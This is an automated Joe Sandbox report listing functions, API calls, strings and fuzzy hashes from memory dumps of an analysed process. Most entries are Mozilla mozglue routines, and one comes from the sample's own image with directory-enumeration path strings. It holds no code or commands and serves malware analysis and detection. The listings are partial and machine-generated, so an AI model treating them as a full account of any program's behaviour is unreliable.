Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 59f964807e4cc8cb260f1fafe69e2448a2f258054bf3ae31aa3fba5413388d83
Instruction ID: 15849154ca27c197f1c4708128560eb406c147efadc976e9afff487375995465
Opcode Fuzzy Hash: 59f964807e4cc8cb260f1fafe69e2448a2f258054bf3ae31aa3fba5413388d83
Instruction Fuzzy Hash: 7521E27A70050CABDB00AF24D80CFAB7779EB8636DF148212FD1997781DBB19855CBA1

Function 6C1D3A90 Relevance: 18.3, APIs: 12, Instructions: 295COMMON

Download Yara Rule

APIs

AcquireSRWLockShared.KERNEL32 ref: 6C1D3BB4
ReleaseSRWLockShared.KERNEL32 ref: 6C1D3BD2
AcquireSRWLockExclusive.KERNEL32 ref: 6C1D3BE5
ReleaseSRWLockExclusive.KERNEL32 ref: 6C1D3C91
ReleaseSRWLockShared.KERNEL32 ref: 6C1D3CBD
moz_xmalloc.MOZGLUE ref: 6C1D3CF1

Part of subcall function 6C1DCA10: malloc.MOZGLUE(?), ref: 6C1DCA26

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Lock$ReleaseShared$AcquireExclusive$mallocmoz_xmalloc
String ID:
API String ID: 1881024734-0
Opcode ID: 67feb2edde0be6d4599eb11c0952e9d783eed069ea05be606b7c452c40b7d698
Instruction ID: 1f44b041eed30c4701b03f3deaebf99c4e690d2a9b0dfe72e8c843fdf7295613
Opcode Fuzzy Hash: 67feb2edde0be6d4599eb11c0952e9d783eed069ea05be606b7c452c40b7d698
Instruction Fuzzy Hash: 4AC16DB5A09701CFC714DF28C08465AFBF1BF99304F568A5ED8998BB51D730E886CB92

Function 6C208ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C1CEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C1CEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C20B392,?,?,00000001), ref: 6C2091F4

Part of subcall function 6C1FCBE8: GetCurrentProcess.KERNEL32(?,6C1C31A7), ref: 6C1FCBF1
Part of subcall function 6C1FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C1C31A7), ref: 6C1FCBFA

Strings

timeline-overview, xrefs: 6C20907A
name, xrefs: 6C208F16
marker-table, xrefs: 6C20906C
stack-chart, xrefs: 6C2090B2
timeline-ipc, xrefs: 6C209096
marker-chart, xrefs: 6C20905E
data, xrefs: 6C2090E8
timeline-fileio, xrefs: 6C2090A4
timeline-memory, xrefs: 6C209088

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 969c60fc25a3f62e79137da45fa55af5aa3cfbd1e0309fcebb5294992f36d6f7
Instruction ID: 28fddbd3f4f7387473830724d0fce5f93d165fe4d24f1520a9357b78198f206b
Opcode Fuzzy Hash: 969c60fc25a3f62e79137da45fa55af5aa3cfbd1e0309fcebb5294992f36d6f7
Instruction Fuzzy Hash: F3B1B3B1B1120D9BDB08DF58C456BAEFBB6AF84308F10441ADD06ABF80DB31A955CBD1

Function 6C1EC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C1EC5A3
WideCharToMultiByte.KERNEL32 ref: 6C1EC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C1EC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C1ECA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C1ECA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C1ECAA5

Strings

0, xrefs: 6C1ED30A
(null), xrefs: 6C1EC596

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 212ce4c1b19ad774a9c4405e612dbd7ef38930dddfe9b4847b8d771b9b78dd1d
Instruction ID: 74ede283abf555ac2ef50ce749ae61166b7f5476901220c186a114ff4951380a
Opcode Fuzzy Hash: 212ce4c1b19ad774a9c4405e612dbd7ef38930dddfe9b4847b8d771b9b78dd1d
Instruction Fuzzy Hash: 11A18D70608B419FDB00EF28C95875BBBE1AFDA748F05891DE899D7741DB35D805CB82

Function 6C1C48E0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,6C20483A,?), ref: 6C1C4ACB
memcpy.VCRUNTIME140(-00000023,?,?,?,?,6C20483A,?), ref: 6C1C4AE0
moz_xmalloc.MOZGLUE(?,?,6C20483A,?), ref: 6C1C4A82

Part of subcall function 6C1DCA10: mozalloc_abort.MOZGLUE(?), ref: 6C1DCAA2

memcpy.VCRUNTIME140(-00000023,?,?,?,?,6C20483A,?), ref: 6C1C4A97
moz_xmalloc.MOZGLUE(?,?,6C20483A,?), ref: 6C1C4A35

Part of subcall function 6C1DCA10: malloc.MOZGLUE(?), ref: 6C1DCA26

memcpy.VCRUNTIME140(-00000023,?,?,?,?,6C20483A,?), ref: 6C1C4A4A
moz_xmalloc.MOZGLUE(?,?,6C20483A,?), ref: 6C1C4AF4
moz_xmalloc.MOZGLUE(?,?,6C20483A,?), ref: 6C1C4B10
moz_xmalloc.MOZGLUE(?,?,6C20483A,?), ref: 6C1C4B2C

Strings

:H l, xrefs: 6C1C48EB, 6C1C49FB

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID: :H l
API String ID: 4251373892-299569776
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: f9e4640a4be2d27c05c62dac356930336b760404ca1ec1b021afe2b29436db84
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: 0F717AB1A047069FCB14CF68C490AAAB7F4FF58308B104A3EE55A9BB41E735F655CB81

Function 6C1EC769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C1EC784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C1EC801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C1EC83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C1EC891

Strings

inf, xrefs: 6C1EC78F
nan, xrefs: 6C1EC7A8
NAN, xrefs: 6C1EC7AD
INF, xrefs: 6C1EC794

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 7341b9060a5a01e71d846ad3e9613f158cc86477ffcc18c6f386356b6ad9fd08
Instruction ID: 3f8110b8a103b89cc445ead222198ca1f0116dc14549ec894f96c441831f5990
Opcode Fuzzy Hash: 7341b9060a5a01e71d846ad3e9613f158cc86477ffcc18c6f386356b6ad9fd08
Instruction Fuzzy Hash: E7518270A08B448BD704AF2CC99169AFBF1BF9E308F008A2CE9D597650E774D985CB43

Function 6C1C3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C1C3284,?,?,6C1E56F6), ref: 6C1C3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C1C3284,?,?,6C1E56F6), ref: 6C1C34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C1C3284,?,?,6C1E56F6), ref: 6C1C34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime,?,?,?,?,?,?,?,?,6C1C3284,?,?,6C1E56F6), ref: 6C1C350E
__Init_thread_footer.LIBCMT ref: 6C1C3522
__aulldiv.LIBCMT ref: 6C1C3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C1C3284,?,?,6C1E56F6), ref: 6C1C357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C1C3284,?,?,6C1E56F6), ref: 6C1C3592

Part of subcall function 6C1FAB89: EnterCriticalSection.KERNEL32(6C24E370,?,?,?,6C1C34DE,6C24F6CC,?,?,?,?,?,?,?,6C1C3284), ref: 6C1FAB94
Part of subcall function 6C1FAB89: LeaveCriticalSection.KERNEL32(6C24E370,?,6C1C34DE,6C24F6CC,?,?,?,?,?,?,?,6C1C3284,?,?,6C1E56F6), ref: 6C1FABD1

Strings

kernel32.dll, xrefs: 6C1C34EA
GetSystemTimePreciseAsFileTime, xrefs: 6C1C3508

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 67bdc6519f6921a4a26256a8c308208550bffbfb185b7e5e332d659ad34f08e2
Instruction ID: 777cdf3b59e37ff669318e3823d70e4b5cf858499aecf6fea2f8768d786f23f2
Opcode Fuzzy Hash: 67bdc6519f6921a4a26256a8c308208550bffbfb185b7e5e332d659ad34f08e2
Instruction Fuzzy Hash: 9F319071B00249DBDF04EFB9C84CEAF77B5FB96309F508019ED15A3690DA789906CB61

Function 6C1C4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C204843,?), ref: 6C1C45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C204843,?), ref: 6C1C468A
free.MOZGLUE(?,?,?,?,?,?,6C204843,?), ref: 6C1C46C9
free.MOZGLUE(?), ref: 6C1C46EF
free.MOZGLUE(?), ref: 6C1C4712
free.MOZGLUE(?), ref: 6C1C4735
free.MOZGLUE(?), ref: 6C1C4758
free.MOZGLUE(?), ref: 6C1C477B
free.MOZGLUE(?), ref: 6C1C479E

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 8f72e0b8114459553c1a079a1e838538cd7360663547d3208f31c34d02e4c573
Instruction ID: 73e6bd49f68c9b8604c1e11abfdbd1e3fffd68626adb94380a6e991b198e4a89
Opcode Fuzzy Hash: 8f72e0b8114459553c1a079a1e838538cd7360663547d3208f31c34d02e4c573
Instruction Fuzzy Hash: 09B1E371B081508FDB18CE6CD8E077D76B2AF65328F194668F916DBBC6D73898508B83

Function 6C22AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C22AC52
CreateFileMappingW.KERNEL32 ref: 6C22AC7D
GetSystemInfo.KERNEL32 ref: 6C22AC98
MapViewOfFile.KERNEL32 ref: 6C22ACB0
GetSystemInfo.KERNEL32 ref: 6C22ACCD
MapViewOfFile.KERNEL32 ref: 6C22AD05
UnmapViewOfFile.KERNEL32 ref: 6C22AD1C
CloseHandle.KERNEL32 ref: 6C22AD28
UnmapViewOfFile.KERNEL32 ref: 6C22AD37
CloseHandle.KERNEL32 ref: 6C22AD43
CloseHandle.KERNEL32 ref: 6C22AD67

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: a2d33899caa18ae3f600916f6783d818f90de381632f126e109b7f8e8bb57d30
Instruction ID: 1cdcd12288ebd58c33a1cdb64bc15781099b58b1b7eeba4d47b526bcb7f06a1d
Opcode Fuzzy Hash: a2d33899caa18ae3f600916f6783d818f90de381632f126e109b7f8e8bb57d30
Instruction Fuzzy Hash: F7313CB1A047058FDB00BF7DD64C66EBBF0BF85309F418929ED9996251EB749448CB82

Function 6C1FF2B0 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C1FD9DB), ref: 6C1FF2D2
GetModuleHandleW.KERNEL32(ntdll.dll,00000000), ref: 6C1FF2F5
moz_xmalloc.MOZGLUE(?,?,00000000), ref: 6C1FF386
moz_xmalloc.MOZGLUE(00000008,00000000), ref: 6C1FF347

Part of subcall function 6C1DCA10: malloc.MOZGLUE(?), ref: 6C1DCA26

moz_xmalloc.MOZGLUE(00000008,00000000), ref: 6C1FF3C8
free.MOZGLUE(00000000,00000000), ref: 6C1FF3F3
free.MOZGLUE(00000000,00000000), ref: 6C1FF3FC
free.MOZGLUE(00000000,?,?,00000000), ref: 6C1FF413

Strings

ntdll.dll, xrefs: 6C1FF2F0

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: freemoz_xmalloc$HandleModule$malloc
String ID: ntdll.dll
API String ID: 301460908-2227199552
Opcode ID: ef461658c3ca1b4a2d4b0ae8d2b44b82e3044e86c6672dc344c58f36b9719df6
Instruction ID: 1a5719673d605fbb3e31679946a643b72220a795978f48011a8c4c9b81184f04
Opcode Fuzzy Hash: ef461658c3ca1b4a2d4b0ae8d2b44b82e3044e86c6672dc344c58f36b9719df6
Instruction Fuzzy Hash: 244126B5E006148BDB049F29D84479EB7F1EF85758F25852DD83A97BC0EBB0A406C781

Function 6C226A10 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 115stringCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C24F618), ref: 6C226A68
GetCurrentProcess.KERNEL32 ref: 6C226A7D
GetCurrentProcess.KERNEL32 ref: 6C226AA1
EnterCriticalSection.KERNEL32(6C24F618), ref: 6C226AAE
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C226AE1
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C226B15
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C226B65
LeaveCriticalSection.KERNEL32(6C24F618,?,?), ref: 6C226B83

Strings

SymInitialize, xrefs: 6C226BA3

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: CriticalSectionstrncpy$CurrentProcess$EnterInitializeLeave
String ID: SymInitialize
API String ID: 3103739362-3981310019
Opcode ID: ccb8131caee34a63058196518f22a8c457956610b2c3262dfc4b9700d90bdf12
Instruction ID: 7586fa84f0325eb45a3d951e9a7ae9cc175ead983a74a3300d1e605507ab4366
Opcode Fuzzy Hash: ccb8131caee34a63058196518f22a8c457956610b2c3262dfc4b9700d90bdf12
Instruction Fuzzy Hash: 494171716053459FEB01DF74C88CB9A7BB8AB46308F048479FD58DF282DBB59548CBA1

Function 6C1D9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C1D9675
__Init_thread_footer.LIBCMT ref: 6C1D9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C1D96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C1D9707
__Init_thread_footer.LIBCMT ref: 6C1D971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C1D9773

Part of subcall function 6C1FAB89: EnterCriticalSection.KERNEL32(6C24E370,?,?,?,6C1C34DE,6C24F6CC,?,?,?,?,?,?,?,6C1C3284), ref: 6C1FAB94
Part of subcall function 6C1FAB89: LeaveCriticalSection.KERNEL32(6C24E370,?,6C1C34DE,6C24F6CC,?,?,?,?,?,?,?,6C1C3284,?,?,6C1E56F6), ref: 6C1FABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C1D97B7
FreeLibrary.KERNEL32 ref: 6C1D97D0
FreeLibrary.KERNEL32 ref: 6C1D97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C1D9824

Strings

MapViewOfFileNuma2, xrefs: 6C1D97B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C1D9670
ntdll.dll, xrefs: 6C1D96E3
NtMapViewOfSection, xrefs: 6C1D9701

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: d8e13c2127c3db2bcbd9b1f2368cd382678c7595fb74fdd01283d2f83ca58b82
Instruction ID: a6df63c8365202e06f18d7cd82c0587ff9aa1b97766cc8f1bfc305235879aa67
Opcode Fuzzy Hash: d8e13c2127c3db2bcbd9b1f2368cd382678c7595fb74fdd01283d2f83ca58b82
Instruction Fuzzy Hash: E641A0B57002059FDF00EFA5D9A8A9B7BB5EB89318F01C128ED1597784DB34A805CFA1

Function 6C225FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C226009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C226024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6C1CEE51,?), ref: 6C226046
OutputDebugStringA.KERNEL32(?,6C1CEE51,?), ref: 6C226061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C226069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C226073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C226082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C24148E), ref: 6C226091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6C1CEE51,00000000,?), ref: 6C2260BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C2260C4

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: 0ffbd4884e1ef6031215bc03ed4b18d88a2425df544e44b47eb657e8e9fe041e
Instruction ID: 03bebe3883cdd5d31e7702339a9d9a460107492cd0624a75713021a3836c3b8f
Opcode Fuzzy Hash: 0ffbd4884e1ef6031215bc03ed4b18d88a2425df544e44b47eb657e8e9fe041e
Instruction Fuzzy Hash: D42191B1A002189BDB106F24DC4DAAE7BB8FF45619F00C428FC5A97280DB74A659CFD1

Function 004133C0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 250COMMON

Download Yara Rule

Strings

%s\%s, xrefs: 0041348A
%s\*, xrefs: 004133D0
18A, xrefs: 00413792, 00413755, 00413679, 00413419, 0041367C, 00413758
%s%s, xrefs: 004135BD
%s\%s, xrefs: 0041357F
%s\%s\%s, xrefs: 0041355A

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID:
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*$18A
API String ID: 0-3461493422
